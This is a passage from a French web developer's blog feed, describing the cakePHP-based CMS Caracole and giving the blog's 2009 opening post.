&lt;p&gt;Pour l&#39;utilisateur, l&#39;interface d&#39;administration est très simple d&#39;utilisation
et claire, pas besoin de compétences techniques pour s&#39;en servir. Il suffit de
quelques clics pour uploader et redimensionner une image, un éditeur de texte
riche (tinyMCE) permet des mises en pages évoluées, un simple système de
drag&#39;n&#39;drop permet de réordonner des éléments au sein d&#39;une liste, une corbeille
permet de ne pas perdre définitivement les éléments supprimés, on peut
enregistrer son travail comme brouillon avant de le publier sur le site, etc,
etc&lt;/p&gt;
&lt;p&gt;Pour le développeur, vu que tout cela est basé sur cakePHP, il est très simple
d&#39;ajouter de nouveaux modèles en plus de ceux existants pour s&#39;adapter à tout
type de projet. Beaucoup d&#39;outils ont été intégrés pour éviter au maximum les
taches fastidieuses et répétitives (compression des Javascript/CSS, CSS Sprite,
réecriture d&#39;url, intégration avec Firebug, etc).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caracole&lt;/strong&gt; est encore en développement, il reste plusieurs fonctionnalités que
nous aimerions rajouter ainsi qu&#39;un polissage de l&#39;interface. Néanmoins il est
suffisamment stable pour être utilisé, ce site en est un très bon exemple. Je
posterai d&#39;autres billets sur les différentes fonctionnalités utiles de Caracole
dans les jours prochains.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Ouverture</title>
    <link href="https://blog.pixelastic.com/2009/02/14/ouverture/"/>
    <updated>2009-02-14T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/02/14/ouverture</id>
    <content type="html">&lt;p&gt;Et voila le premier billet du blog de Pixelastic. Quel grand moment... Après
tout ces durs mois de labeur pour réussir à se mettre d&#39;accord sur le design et
le logo (d&#39;ailleurs, rien n&#39;est encore définitif), le site est enfin en ligne.&lt;/p&gt;
&lt;p&gt;Il reste encore beaucoup de choses à faire, de pages à styler, de texte à
écrire, mais on déballe nos cartons petit à petit.&lt;/p&gt;
&lt;p&gt;Bienvenue à tout le monde, et restez à l&#39;écoute, ce blog va se remplir petit à
petit lui aussi.&lt;/p&gt;
</content>
  </entry>
</feed>
